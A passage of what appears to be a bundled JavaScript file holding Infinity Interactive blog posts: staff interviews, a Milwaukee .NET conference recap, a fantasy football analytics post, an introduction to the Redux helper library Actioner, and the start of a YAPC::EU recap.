joke. The coldest turkey youâve ever witnessed. Only a\nlove for corn chowder survived the ordeal, despite its association. I\nhad a similar narrative occur over McDonaldâs _Filet-O-Fish_. Though\nthe jury is still out whether thatâs technically âseafoodâ or not.\n\nNowadays, I generally enjoy fast-food burritos and tacos, where the\nmeat is anonymous, and weâll probably never really know its genesis.\n\n**If you ruled the world, what would you change on day one?**\n\nRealistically, Iâd probably just sign an immediate executive order to\nrescue those brave souls who were Lost in Space since the 60s. Even if\ntheyâve long since passed away, by now, they deserve a decent burial.\n\n**If you could know the answer to any question, besides âwhat is the\nmeaning of life?â, what would it be?**\n\nIâd want to know what ISNâT the meaning of life. That isnât intended\nto be a cheeky trick to root out the actual meaning by removing the\ncandidates. I just want to know if Iâm wasting my time returning my\nshopping cart to the parking lot corral, or rewinding my VHS tapes\nbefore dropping them in the slot.\n\n**What is one thing you think people might not know about Infinity,\nbut should?**\n\nThereâs weekly developer fights in the office basement. Iâm not\nsupposed to talk about it, but theyâre pretty brutal. I saw this one\ndude bean another guy silly with an old IBM Model M keyboard. The key\ncaps went flying across the cement floor, but that thing is solid.\nAnother time, a developer defeated his opponent by getting behind him\nand duct taping a Galaxy Note 7 to his back, just out of reach. BOOM.\n\nDirty pool, but it was well within the rules. Thatâs _â/dev Clubâ_ for\nyou.\n',icon:E.A,color:"emerald"},en={slug:"meet-will-hutchinson",title:"Meet Will Hutchinson",excerpt:"Profile of Will Hutchinson, a Senior Developer at Infinity Interactive based in San Diego, CA, describing his journey from manufacturing to web development.",authors:["Will Hutchinson","Emal Sakwall"],publishDate:new Date("2017-01-13"),featuredImage:"/content/images/blogs/meet-will-hutchinson/will.jpg",category:"Team",tags:["Culture","People","Interview"],readTime:"4 min read",content:"_Welcome to the latest blog post in our interview series. Weâd like to\nintroduce you to our resident Californian and front-end programmer\nextraordinaire, Will Hutchinson (aka Hutch)._\n\n\x3c!-- cut --\x3e\n\n**Name, Company, Title, City**\n\nMy name is Will Hutchinson. I work for Infinity Interactive as a\nSenior Developer and live in San Diego, CA.\n\n**When did you first work with Infinity?**\n\nI started working at Infinity in April of 2014.\n\n**What are six words you think of when you think of Infinity?**\n\nIndividuals working together to solve problems.\n\n**What would you be doing if you werenât in your current job?**\n\nIf I could, I'd be making art. I enjoy paper mache and mixed media.\nI'd like to get into welding and make large sculptures too. It'd be\nawesome to have a studio and the time to make whatever came to mind.\n\nRealistically though, if I wasn't doing this, I'd probably still be in\nmanufacturing. I always wanted to work with computers, but I wasnât\nable to make it my career until after mov
1ing to San Diego. In\nBaltimore, I operated an Oxy-Fuel Cutting Machine for a few years,\nprogramming and cutting shapes out of steel plates. I also did the\nlayout and cutting of granite slabs for countertops for a few years.\n\n**Are you from Baltimore? What made you decide to move to\nCalifornia?**\n\nYup, Baltimore, MD. Born and raised. My family has been in Baltimore\nfor a few generations too, mostly downtown around the harbor area or\nin the outskirts. I like Baltimore, itâs definitely part of who I am,\nbut I wanted to move out of there since I was a teenager.\n\nBack in 2008 when my wife (Jess) and I were dating, she had a job\ninterview in LA (sheâs from CT originally but was living in Baltimore\nfor college.) That got us thinking about moving out there. She didnât\nend up getting the job, but by then we were ready to go.\n\nWe decided San Diego would be more our speed and went for a visit to\ncheck out the area and try to find jobs. When we were at the airport\nabout to board the plane back to Baltimore, Jess received a call. It\nwas from a recruiter about a job interview the next day. We pushed our\nflight back, rented another car and Jess landed the job. The next day\nwe managed to find an awesome apartment, that just-so-happened to be\ncoming available exactly when we were planning on moving. Sometimes\nthings just work out.\n\n**What made you decide to move away from manufacturing and become a\ndeveloper?**\n\nI took print design and print press classes in high school with the\nidea of getting a job for a local newspaper or somewhere but it didn't\nhappen, so I ended up in manufacturing. When we moved to San Diego it\nwas hard to find a well-paying manufacturing gig, so I knew it was\nfinally time for me to go back to school. My first thought was to stay\non the manufacturing path and get a certificate in AutoCAD. I took the\nfirst CADD class at a local college. Before signing up for the second\nclass I thought, if I'm going back to school I may as well choose my\nown path and go for something I really want to do. So I opted for web\ndevelopment, and now here I am working with this awesome group of\npeople at Infinity Interactive. Sometimes things just work out.\n\n**Do you have some photos of your art that you would like to share?**\n\nI donât have many pieces, because⦠well⦠life, but hereâs a\ncouple. I always have a project or two in the pipeline though, so when\nI get free art time thereâs always something to work on.\n\n\n\n**What is your favorite time of day/week/year?**\n\nMy favorite time of day is probably just before/during/after sunrise,\nthough I am rarely up then --- but when I am, I enjoy how relaxed the\nworld seems. My favorite day of the week? Saturday, of course. My\nfavorite time of year? July. My wife and I were both born on July\n21st, so we decided to get married on July 21st as well and celebrate\neverything at once.\n\n**What is your favorite mode of transportation and why?**\n\nDefinitely motorcycles (and bicycles too). There's something about two\nwheels, the movement, the freedom of being on something so minimal\nthat it's almost just you, but faster. I currently do not own a\nmotorcycle, but I have owned a couple sport bikes over the years and\nthey are amazing. My last one was a yellow and black 2009 Suzuki\nGSXR 750. The technology that they put into those bikes and make\navailable for the money is incredible. A friend at a previous job gave\nme a framed print of this picture of Valentino Rossi, I think the\nsaying sums it up nicely.\
1n\n\n\n**What would a perfect day look like for you?**\n\nMy wife and I enjoy traveling when we can. We also just had our first\nchild, which I'm sure makes traveling a bit more complicated. I'll say\na perfect day would go something like⦠We're traveling somewhere\ninteresting. It's a nice day. We wake up in the morning and leisurely\nget ourselves together. We walk to a small caf\xe9 down the street and\ngrab a delicious caffeinated beverage. We then spend the day checking\nout the sites, the food, the sounds, the scene, playing with our son\n(who is behaving very well I might add). In the evening we go out for\na nice dinner with some tasty wine. We then put our son to bed, relax\na bit, listen to some music and discuss the day.\n",icon:E.A,color:"rose"},et={slug:"xamarin-and-net-take-milwaukee",title:"Xamarin and .NET Take Milwaukee",excerpt:"Paul Zolnierczyk from Infinity Interactive attended and presented at the second annual MKE DOT NET conference, exploring cross-platform development with Xamarin.",authors:["Paul Zolnierczyk"],publishDate:new Date("2016-11-04"),category:"Development",tags:["Xamarin","Conferences","DotNET","C Sharp","Technology"],readTime:"6 min read",featuredImage:"/content/images/blogs/mkedotnet-recap/welcome.jpg",content:'Infinity\'s own Paul Zolnierczyk attended (and presented at)\n[MKE DOT NET](http://www.mkedotnet.com/), a one-day development\nconference in the Milwaukee area. MKE DOT NET brings together .NET\ndevelopers from the Midwest to explore new ideas, code, share\nknowledge and discover best practices. Hereâs his recap.\n\n\x3c!-- cut --\x3e\n\n## Recapping My Time at MKE DOT NET\n\nThis past weekend the MKE DOT NET conference was held in the Milwaukee\narea. This was the second annual MKE DOT NET conference, and from what\nI\'ve heard from previous years\' attendees, it\'s bigger and better than\nlast year! I was super excited to not only attend, but to give an\n[Introduction To Xamarin](http://www.mkedotnet.com/sessions/introduction-to-xamarin/)\ntalk as well.\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/my-badge-plaque.jpg"\n alt="My Badge and Plaque"\n title="My Badge and Plaque" />\n</div>\n\n### Scott Hanselman\'s Keynote Kicks Things Off\n\nThe day started off with a keynote by one of my personal favorite\nspeakers out there, [Scott Hanselman](http://www.hanselman.com/). He\npresented on the direction of .NET and specifically in\n[.NET Core](https://www.microsoft.com/net/core). (.NET Core is a\ncross-platform, open source, and modular .NET platform for creating\nmodern web apps, microservices, libraries and console applications.)\nScott showed us that with just a few command line commands, you can\nuse C# to whip up a quick "Hello World" console application and deploy\na sample web application. Microsoft makes this possible not only on\nWindows, but also Linux and Mac. It even ships in a Docker container.\nLong gone are the days when you had to spend an entire day downloading\nVisual Studio, .NET Framework, etc.\n\n### My Talk\n\nI was up next. Scott\'s a tough act to follow, but fortunately Scott\'s\ntalk segued perfectly into my talk. Building on Scott\'s keynote where\nhe showed us how you can use C# to develop on Windows, Linux and Mac,\nmy talk showed how you can use C# and Xamarin to develop for iOS,\nAndroid and Windows Phone. C# may be becoming the one language to rule\nthem all.\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/mytalk.jpg"\n alt="Introduction To Xamarin"\n title="Introduction To Xamarin" />\n</div>\n\nI had a great audience and the talk went well! I hope I was able to\ninspire a new set of Xamarin developers out there. I\'m also looking\nforward to my next talk; once you start presenting you just want to\nkeep doing it more and more.\n\n### Dealing with Information Overload and Being More Productive\n\nAfter my talk, I, of course, had to see what Scott Hanselman had to\nsay in his next presentation,\n[Dealing with Information Overload and Being More Productive](http://www.mkedotnet.com/sessions/information-overload/).\nThere\'s a lot of noise in our daily work lives so we need to filter\nout the unnecessary noise and learn how to not get overloaded. I felt\nlike Scott was speaking directly to me. And he didn\'t just cover our\n9-5 work lives but talked to the personal side too. Don\'t let things\nlike a backlog of DVR recordings weigh you down mentally. Delete\nthings. Have a pile of books on your desk you\'re going to read? Is one\nof them 6 years old and no longer technologically relevant? Get rid of\nthem. Don\'t maintain a monument to failure, get rid of those books\nyou\'re never going to read. (One last piece of advice; don\'t be an\n"askhole"!)\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/askhole.jpg"\n alt="Don\'t be an askhole"\n title="Don\'t be an askhole" />\n</div>\n\n### Meet Blake!\n\nAt lunch I talked to another speaker,\n[Blake Niemyjski](http://www.mkedotnet.com/speakers/blake-niemyjski/).\nWe talked a bit about his session on Exception Driven Development as\nwell as his open-source project\n[Foundatio](https://github.com/exceptionless/Foundatio) which I look\nforward to taking a look at.\n\n### Hololens and The Future with Augmented and Mixed Reality\n\nThe afternoon was filled with fantastic sessions. I had a really hard\ntime choosing which one to attend! I ended up at\n[The Future with Augmented and Mixed Reality](http://www.mkedotnet.com/sessions/augmented-and-mixed-reality/)\nby Greg Levenhagen, a Microsoft MVP. This was the first time I\nattended a talk on the Hololens and saw it in action. My mind was\nblown! Microsoft is working with Medical schools to use the Hololens\nto simulate virtual surgery. It can also be used in the construction\nworld to view building designs - with accuracy down to the millimeter.\nI need to get my hands on one. Just waiting for that price to drop a\nbit...\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/monkeylistening.jpg"\n alt="Monkey Listening"\n title="Monkey Listening" />\n</div>\n\n### Deep into The Woods with Xamarin Forms\n\nMatthew Soucoup, another MVP, gave a talk called\n[Deep into The Woods with Xamarin Forms](http://www.mkedotnet.com/sessions/xamarin-forms/).\nThis was a really great talk on the advanced side of Xamarin\ndevelopment. Matthew even went as far as doing the dreaded "live demo"\nwithout any issues! I learned a few performance tricks that I will\napply to my Xamarin.Forms projects. If you have a chance, take a look\nat Matt\'s code and slides on\n[GitHub](https://github.com/codemillmatt/forms-woods), and see if\nthere are any Xamarin performance tricks you can benefit from.\n\n### Taming the JavaScript Dragon with TypeScript\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/typescripttalk.jpg"\n alt="Taming the JavaScript Dragon with TypeScript"\n title="Taming the JavaScript Dragon with TypeScript" />\n</div>\n\nTo close out the day, I decided to change direction a bit and went to\nthe land of JavaScript where the JavaScript dragon was running\nrampant! Fortunately for me, Dustin Ewers had a great session on\n[Taming the JavaScript Dragon with TypeScript](http://www.mkedotnet.com/sessions/dragons-and-typescript/).\nPersonally, I\'m terrified of JavaScript, I feel at home in Visual\nStudio and like having my code checked by the compiler or have the\nability to refactor code easily. Dustin demonstrated how you can use\nVisual Studio to create TypeScript projects that compile down to\nJavaScript and can be used in any browser or even Node.js\napplications. This has given me the confidence to add TypeScript to\none of the next technologies to learn. I appreciate languages like C#\nand JavaScript that run on many platforms.\n\n## See You Next Year!\n\nJust like that, another MKE DOT NET is in the books, but not before we\nhad our happy hour! It was our chance to talk with all the attendees\nover a drink and reflect on what we learned that day and how we\'re\nlooking forward to MKE DOT NET 2017! See you next year!\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/happyhour.jpg"\n alt="Happy Hour"\n title="Happy Hour" />\n</div>\n\nCheers!\n\n-Paul\n\nP.S. Check out the cool swag we received, a sweet beer glass! It looks\ngreat right next to my\n[Xamarin Certified Developer](https://university.xamarin.com/certification)\nplaque. Now to go get some beer and put it to use!\n\n<div class="center">\n <img src="/content/images/blogs/mkedotnet-recap/myswag.jpg"\n alt="Swag"\n title="Swag" />\n</div>\n',icon:M.A,color:"purple"};var ea=t(6613);let eo={slug:"analyzing-a-fantasy",title:"Analyzing a Fantasy",excerpt:"What started as a casual game has turned into a trip through a data analytics wonderland.",authors:["Sweth Chandramouli"],publishDate:new Date("2016-11-02"),category:"Development",tags:["Technology","Culture","Passions","Perl"],readTime:"10 min read",content:'Some of the folks here at Infinity Interactive are avid players of\n[fantasy sports](https://en.wikipedia.org/wiki/Fantasy_sport), and\nthis year, they convinced me to join their Fantasy Football league.\nTwo months into the season, what started as a casual game has turned\ninto a trip through a data analytics wonderland as well as what will\nhopefully be a recurring series of posts here looking at various\naspects of the data analysis that I\'ve been doing.\n\n\x3c!-- cut --\x3e\n\n## I Feel Your Pain, Charlie Brown\n\nThere are lots of varieties of fantasy football (or "FF"). The core of\nthe game, for those who aren\'t familiar with it, is that each player\n(in FF parlance, an "owner") compiles a virtual team consisting of\nactual\n[gridiron football](https://en.wikipedia.org/wiki/Gridiron_football)\nplayers from the National Football League (NFL); each week of the NFL\nseason, each owner selects a subset of their players to be "active",\nand then scores points depending on the real-world performance of\nthose players in actual NFL games.\n\nWhat this means is that one of the more important parts of the game\nhappens before the season really even starts: the "draft", when the\nowners take turns selecting players from the NFL to be on their\
1nrespective rosters. I had never played any fantasy sports before this\nyear, but as a statistics and game theory geek, I\'ve spent some time\nstudying things like optimal draft strategies, so I wasn\'t too worried\nabout our league\'s draft, and I felt even better after some Googling\nthat morning led me to one of the many websites out there that provide\n"draft value" scores for each player before the start of the season.\nArmed with a way to quantify the value of each player, plus a\ngame-theoretical model of how to best select them in competition with\nthe other owners, I came out of the draft fairly happy (especially\nsince I grew up as a huge fan of gridiron football, and through sheer\ncoincidence, coldly following the numbers had led me to a roster that\nwas 20% from my beloved Oakland Raiders).\n\nAnd then I discovered which variety of FF we were playing.\n\n<div class="center">\n <img src="https://media.giphy.com/media/DAAldV51KUzUA/giphy.gif"\n alt="Lucy pulling ball away as Charlie Brown attempts to kick it"\n title="Lucy pulling ball away as Charlie Brown attempts to kick it"\n width="400px"\n shadowoverride="true" />\n</div>\n\n## Oops.\n\nThat variety is, I\'ve since discovered, a very common one --- in FF\njargon, it\'s a "14-week, 8-team, ESPN PPR head-to-head league w/ a\n4-team playoff". The problem was that I, having never played FF\nbefore, had made a lot of assumptions about how the scoring worked in\nour league, and almost all of those assumptions turned out to be bad\nones.\n\nFor example, take those terms "head-to-head" and "playoff". I had\nassumed that the winner of the league was the owner who, at the end of\nthe season, had accumulated the most points. In many FF variants, I\ndiscovered, what actually happens is that each week, every owner is\npaired up against another owner in a "head-to-head" matchup, with the\nowner who scores the most points between the two winning that\nparticular week; at the end of the season, the owners with the most\nwins enter a playoff --- another few rounds of head-to-head matchups,\nwith the losing owners each week being eliminated, until only one\nowner is left as champion. The total number of points scored over the\ncourse of the season doesn\'t matter; for the most part, in fact,\npoints don\'t matter at all beyond determining the winner in a given\nhead-to-head matchup. Since I had assumed that total points _did_\nmatter, I had drafted players based on their odds of scoring a\nreasonable number of points over the course of the entire season; if I\nsuspected that a player would score very highly in a few games and\nthen poorly for the rest of the season, that was fine with me because\ntheir average would still be relatively high. In a head-to-head\nleague, though, what that meant was that I might have a few weeks\nwhere I would win the head-to-head matchup overwhelmingly, but then\nalso a lot more weeks where I would lose, and not make the playoffs at\nthe end of the season despite having a high point total for the\nseason.\n\nI had also been unaware that in ESPN leagues, you can change your\nroster of players, either by trading them with other owners, or\nreplacing your players with ones who are not currently on any other\nowner\'s roster ("adds/drops"). Since I had thought I was going to have\nthe same roster all season long, I had drafted to try to ensure a\nstable performance over the entire season, so that if Player A, who\nmight give me an average of 10 points per week, were injured in a\ngiven week, I could replace them with Player B might give me an\naverage of 9 points. In a league with trades and adds/drops, though,\nit is usually more effective to have a wider spread between your\nprimary and secondary players --- Player A, your "starter", might\naverage a consistent 15 points, while Player B, your "backup", might\naverage 6 points where some times he would score 3 and others 10;\nthen, over the course of the season, the goal would be to try to\nmodify your roster to minimize how often you have to actually play\nthose less-reliable backups, and when you do play them, hope that you\ncatch the "boom" side of their boom-or-bust variance.\n\nAnd finally, I had also missed that it was a "PPR", or\npoint-per-reception, league. That means that every player scores one\nadditional point every time they catch a pass, and in turn means that,\nall other things being equal, players whose role on a real-world team\nis to catch passes more than it is to run with the football are more\nvaluable; not being aware of that, I had used draft values from a site\nthat didn\'t use PPR scoring, and as a result I had drafted a lot of\nrun-centric players who were thus less valuable than I had thought\nthey would be.\n\nThe end result? The roster I had after that initial draft was weaker\nthan I thought because of too many running backs, had too many\nstarters who were likely to be high performers in only a few games,\nand had too many backups who were fine but who I had drafted too early\nat the expense of getting stronger and more reliable starters. Weeks\nlater, I found a website that would analyze your draft choices based\non pre-season projections of each players\' performance (and taking\ninto account the specific scoring rules of your league), and this was\nthe verdict it gave:\n\n> Let us say this as nicely as we can. This team is brutal. It is\n> below average and/or too thin at all three core positions\n> (quarterback, running back and receiver). To make this team into a\n> serious contender, you are going to need to be extremely active in\n> trades and on the waiver wire. You esentially need to turn over\n> significant parts of this roster.\n\n## Data To The Rescue\n\nWithin a day or two of the draft, I had come to the same conclusion: I\nneeded to overhaul my team. Since all of the obviously good players\nhad already been taken in the draft, though, I feared I was going to\nhave to use a [Moneyball](https://en.wikipedia.org/wiki/Moneyball)\napproach to that overhaul: using analytics to try to find players who\nmight perform especially well in a given situation but who had slipped\nunder the radar of the other owners. Moreover, I was probably going to\nhave to keep overhauling my roster each week, since players who were\nlikely to be consistent top performers were unlikely to drop into my\nlap. Fantasy Football is big business these days, so there are paid\nservices out there that will give you all of that analysis, but I was\nintrigued by the idea of tr
1ying to do it on my own.\n\nSo I did it: I\'ve created a relatively simple model for tweaking my\nroster, and ceded control of my team to it almost entirely. Along the\nway, I\'ve written some Perl scripts, started to learn the data\nanalysis language R, brushed off some old data analysis skills like\ndoing exponential smoothing and linear regressions, and generally had\na lot of fun. And the best part is that it may have actually worked!\nTo avoid falling down the rabbit-hole of constant re-optimization,\nI\'ve decided to hold off on doing a rigorous analysis of how good my\nmodel is until after the season is over, but as I write this (after\nweek 8 of the season), I\'m currently tied for second place in my\nleague, despite that "brutal" initial roster that\n[footballguys.com](http://footballguys.com) rated as worst in my\nleague.\n\nIn some upcoming posts here, I hope to dig into some of the data\nanalysis techniques and tools I\'m already using in my model (e.g.\nexponential smoothing, range estimates, and Perl\'s\n[Text::CSV](https://metacpan.org/pod/Text::CSV) module). I\'m also\nhoping to continue revising my model and the tools I\'ve written around\nit, so I should be making at least a few posts on my efforts there\n(e.g. automated web scraping to gather my source data, dumping the\ndata into a SQL database to make it easier to do ad-hoc queries, and\nhopefully even some forays into pattern recognition and machine\nlearning). And once the season is done, I hope to do some analysis of\nhow well my model actually fared, both in absolute terms as well as\npitting it against professionals.\n\nTo wrap up this initial post, though, I thought I would include some\nsample output from the main Perl script that I\'m using to help me\ndecide what to do each week. My team\'s abbreviation is YRMM, and this\nweek I\'m up against team MSSX; in this command, I\'m asking my script\nto show me both of our rosters for this week, plus what it considers\nthe two best available replacement players at each position:\n\n<div class="center">\n <a target="_new" href="/content/images/blogs/ff-intro/sample-output.png">\n <img src="/content/images/blogs/ff-intro/sample-output-small.png"\n alt="sample output from ff-stats script"\n title="sample output from ff-stats script" />\n </a>\n</div>\n\nMy model thinks I will probably win (my 136 expected points for my\ncurrent active roster in the summary at the bottom, vs MSSX\'s 116),\nbut it also telling me that a large part of that margin comes from\nhaving Alex Smith at quarterback, and that he\'s pretty risky --- it\npredicts that he\'ll _probably_ score anywhere from 14-25 points, with\na high likelihood that his actual score will be _outside_ of that\nalready-wide range. If I\'m not comfortable with him at quarterback, it\nsuggests that I could replace him with LA Ram Case Keenum (which would\ngive me a range of 11-21 points but with much less risk of going\noutside of that range) or Arizona Cardinal Carson Palmer (though it\npegs him as even riskier than Smith).\n\nMeanwhile, after a flurry of activity so far this season (86 roster\nchanges, 36 adds/drops, and 4 trades), I\'ve been able to rework my\nrun-centric team into one that is more evenly balanced between running\nbacks and wide receivers, all of whom look to do pretty well this\nweek, and there aren\'t any available players at either position who\nlook better than the ones that I already have.\n\nOn the other hand, I _could_ potentially improve my expected score a\ntiny bit, while also reducing my risk a bit, if I swap out tight end\nJason Witten for Zach Ertz. It\'s only an improvement of less than a\npoint of expected value, though, so I think I\'ll use my time tonight\nto go work on trying to automate my web scraping so that preparing my\nlineup for next week will be easier...\n',icon:ea.A,color:"yellow"},ei={slug:"actioner-another-engine",title:"Actioner (Another Engine)",excerpt:"I'm still playing around with Redux and, as usual, I'm always on the lookout for ways to optimize my laziness.",authors:["Yanick Champoux"],publishDate:new Date("2016-10-21"),category:"Development",tags:["Technology","JavaScript"],readTime:"6 min read",content:"One thing that I found irks me just a little bit are the Redux\nactions. They are nothing but raw Javascript objects, meaning they are\nvery easy to set up and manipulate. But since anything goes, they are\nalso very easy to subtly get wrong. For example, I'm working on a\nspaceship game and I have an action called `MOVE_SHIP`. But what\narguments was I using for that? Was it this:\n\n```javascript\n{ type: 'MOVE_SHIP', ship: 'enkidu' }\n```\n\nor rather, that:\n\n```javascript\n{ type: 'MOVE_SHIP', ship_id: 'enkidu' }\n```\n\nSometimes, I remember to double check myself, but other times, I'll\nuse the wrong property and set myself up for a long, protracted,\nsomewhat less-than-joyful debugging session.\n\n\x3c!-- cut --\x3e\n\n## Ready? Set... (some expectations)\n\nThere is also the creation of the actions themselves. While it's not\nhard to do:\n\n```javascript\nlet action = { type: \"MOVE_SHIP\", ship_id: the_ship };\n```\n\nit is more verbose than it needs to be. When we move a ship, we'll\nalways need to have the ship id --- or if we're fancy, we could also\ntake a ship object and then extract the id from that. In a better\nworld, I'd love to just do:\n\n```javascript\nlet action = action_move_ship(the_ship);\n// action === { type: 'MOVE_SHIP', ship_id: the_ship }\n```\n\n(By the by, [Redux-Actions](https://github.com/acdlite/redux-actions)\nalready provides a mechanism to do just that. All in all, It's pretty\nclose to what I want, but doesn't go far enough down the DWIM rabbit\nhole for my taste, nor does it allow for some more esoteric\nfunctionality that will pop up in a few paragraphs.)\n\nFinally, there is the declaration of the action types, which is\nusually distinct from the creation of the actions themselves. The\ntypes are either used as ad-hoc strings, or as defined constants.\
1nOften like:\n\n```javascript\nconst MOVE_SHIP = 'MOVE_SHIP';\nconst ADD_SHIP = 'ADD_SHIP';\n\n// later on...\n\nfunction reducer( state, action ) {\n switch( action.type ) {\n case MOVE_SHIP: ...;\n case ADD_SHIP: ...;\n }\n}\n```\n\nIt's not bad, but the neat freak in me wishes that those constants\nwere gathered together, and somewhat tied to the action generators.\nBecause, honestly, I don't want to type `MOVE_SHIP` more than once.\n(Yes, I am _that_ lazy.)\n\nSo, to recap, I'd like to:\n\n- Have a unified, centralized way to declare both the action types and\n their generators.\n- Be able to customize the creators however I want (while having a\n useful default).\n- Having some type of validation on the payload of those actions would\n also be fantastic.\n\n## ACTIONS!\n\nTo scratch those itches, I'd like to introduce you to\n[Actioner](https://github.com/yanick/actioner).\n\nFirst, the ultra-basic way to use it with vanilla actions:\n\n```javascript\nimport Actioner from \"actioner\";\n\nlet Actions = new Actioner();\n\nActions._add(\"move_ship\");\nActions._add(\"add_ship\");\n\nconsole.log(Actions.MOVE_SHIP); // prints 'MOVE_SHIP'\n\nlet action = Actions.add_ship({ id: \"enkidu\", hull: 9 });\n// action === { type: 'MOVE_SHIP', id: 'enkidu', hull: 9 }\n```\n\nSo, basically, `_add()`ing an action creates both the type name and\nthe action creator, both accessible as keys from the main Actioner\nobject. Simple enough. Oh, and don't worry, you can also define your\naction as the more Javascript-ish `moveShip`, and the type will still\nbe expanded as `MOVE_SHIP`.\n\nNext step: `_add()` also accepts a custom function that modifies input\nparameters in the resulting action object. We could, for example,\nrewrite `MOVE_SHIP` as:\n\n```javascript\n// 'type' property is automatically added, natch\nActions._add( 'move_ship', ship => ({\n ( typeof ship === 'object' ) ? ship.id : ship\n}) );\n\nlet action = Actions.move_ship( 'enkidu' );\n// action === { type: 'MOVE_SHIP', ship_id: 'enkidu' }\n\nlet ship = { id: 'siduri', hull: 9 };\nlet action = Actions.move_ship( ship );\n// action === { type: 'MOVE_SHIP', ship_id: 'siduri' }\n```\n\nWhat if you want that custom creator for most cases but still want the\npossibility to pass a straight-up object? Never fear, in addition to\n`move_ship`, the sibling function `$move_ship`, which always accepts\nraw objects, is also created:\n\n```javascript\n// equivalent to the call to 'move_ship' above\nlet action = Actions.$move_ship({ ship_id: \"siduri\" });\n```\n\nAnd final feature: validation. For that, I went with my very own\n[json-schema-shorthand](https://github.com/yanick/json-schema-shorthand)\nlibrary for [json-schema](http://json-schema.org/).\n\n```javascript\nlet Actions = new Actioner({ schema_id: \"http://example.com/actions\" });\n\nActions._add(\"add_ship\", {\n ship_id: { type: \"string\", required: true },\n hull: { type: \"number\", required: true },\n additional_properties: false\n});\n\nActions._validate(true);\n\nActions.add_ship({ ship_id: \"enkidu\" }); // will throw\n\nlet schema = Actions._schema();\n// schema === {\n// id: 'http://localhost/actions',\n// oneOf: [ { '$ref': '#/definitions/add_ship' } ]\n// definitions: {\n// add_ship: {\n// type: 'object',\n// properties: {\n// type: { enum: [ 'ADD_SHIP' ] },\n// ship_id: { type: 'string' },\n// hull: { type: 'number' },\n// },\n// additional_properties: false,\n// required: [ 'ship_id', 'hull' ],\n// }\n// }\n```\n\nDid I say \"final feature\"? Well, that was the end of the hard\nrequirements, but there are still a few goodies embedded in there.\nLike the security that comes with immutable objects? You'll love that\nyou can have your actions be set as immutable via\n[seamless-immutable](https://github.com/rtfeldman/seamless-immutable),\njust by passing the `immutable` option to the Actioner constructor:\n\n```javascript\nlet Actions = new Actioner({ immutable: true });\n\nActions._add(\"FOO\");\n\nlet action = Actions.foo({ bar: 1 }); // action is immutable\n```\n\nAnd then there is the possibility to connect the object to a Redux\nstore, and to be able to create and dispatch actions in one fell\nswoop.\n\n```javascript\nActions._store = aReduxStore;\n\nActions.dispatch_foo(); // equivalent to aReduxStore.dispatch( Actions.foo() )\nActions.dispatch_$foo(); // equivalent to aReduxStore.dispatch( Actions.$foo() )\n```\n\n## dispatch( 'FINAL_WORDS' )\n\nSo, all in all, this little helper library is nothing out of this\nworld. But having those declarations centralized, and most importantly\npreemptively validated, is something that does wonders to keep me\
1nhonest, or at least consistent, as I hack away. Even better, by using\nthe JSON schema validation, I also plant the seeds of documentation,\nsomething that future-me will doubtlessly thanks present-me for.\n\nAs always, if you are intrigued, the code is on\n[GitHub](http://github.com/yanick/actioner) and available via\n[npm](https://www.npmjs.com/package/actioner).\n",icon:U.A,color:"yellow"};var es=t(4983);let er={slug:"yapceu-recap",title:"YAPC::EU Recap",excerpt:"A recap of YAPC::EU 2016.",authors:["Sweth Chandramouli"],publishDate:new Date("2016-10-17"),category:"Team",tags:["Technology","Perl","Conferences","Culture"],readTime:"7 min read",content:"YAPC::EU is Europe's premier event for the Perl programming language.\nThis year the conference was held in Cluj-Napoca, Romania, from August\n24 through August 28. Infinity sent one of our developers, Sweth\nChandramouli, to attend, and we asked him to give a quick recap of his\nexperiences there.\n\n\x3c!-- cut --\x3e\n\n## Recap\n\nHi, folks! Sweth here. I've been a Perl developer off and on for over\n20 years now, but even though I've attended my fair share of tech\nconferences over the years, I haven't had a chance to attend any Perl\nconferences since one of the original (O'Reilly-hosted pre-OSCON) The\nPerl Conferences back in the late 1990s, so I was thrilled when\nInfinity wanted me to attend YAPC::EU in Cluj. From start to finish,\nthe experience was a great one, and the thing that made it best was\nthe amazing sense of community that I found there.\n\nAs a quick aside: I've been on the road for the last few years,\ntraveling the world with pretty much everything I own (and one of the\nreasons I love working for Infinity is that _everyone_ there works\nremotely, so they don't mind at all that my remote work happens to be\nfrom a different country every few weeks or months). My itinerary had\ntaken me to Asia for the first 6 months of 2016, and I had plans to be\nin France in September, but I didn't have any specific plans for where\nto be in between, so when the prospect of attending YAPC::EU in\nRomania came up, I started looking into possible destinations to spend\nthe month before that conference---and much to my surprise,\neveryone told me that I should just head to Romania early. Romania, it\nturns out, has what is generally acknowledged as the best internet\nconnectivity of any country in Europe (and among the best connectivity\nin the world), and the city of Cluj-Napoca, where the conference was\nbeing held, is a thriving cultural center with a lively college-town\natmosphere, and so I ended up just heading to Cluj a month before the\nconference.\n\nFrom even before I arrived, the sense of community was really quite\nimpressive---I reached out to the local (and very large) Perlmongers\ngroup online with some questions, and the folks there bent over\nbackwards to help me figure out things like which neighborhood to stay\nin, where to get a good SIM for my mobile phone, etc, and once I\narrived, I felt like I was among family, starting with Jeff Goff\nmeeting me on my first evening in town to grab a quick drink and take\nme on a walking tour of town, and continuing over the next five weeks\nwith multiple other local Perl folks meeting up with me for coffee,\nlunch, etc.\n\nThe sense of community was even stronger the week of YAPC itself; as I\nmentioned before, I've been to a fair number of tech conferences, and\nI've never been to one as open and welcoming. On Monday night before\nthe start of the conference, as folks were trickling in to town,\npeople coordinated via the Telegram Messenger channel that the\nconference organizers had set up, and large group of us met up for\npizza. Despite the fact that most of them already knew each other from\npast Perl events, I never felt left out; to the contrary, in fact, by\nthe end of the evening, I had made the acquaintance of many great\nfolks that I continued to hang out with throughout the conference and\nthat I'm sure I will be friends with for years.\n\nThe next day---the day before the official start of the conference---I\nattended Dave Cross' training session, which was a soup-to-nuts\nworkshop on building a web app with the Perl Dancer 2 framework. We\nactually have a lot of great Dancer/Dancer 2 expertise at Infinity\n(including one of the core team members), and I work with Dancer\nregularly for our clients, but I've never had the chance to build a\nDancer app from scratch rather than jumping in to help someone fix an\nexisting deployment, so I found the course very useful; in addition to\nthe info about Dancer, Dave pulled in lots of other useful information\n(including lots of things related to Javascript that I've already\nfound useful in my day-to-day work). And, again, the sense of\ncommunity w
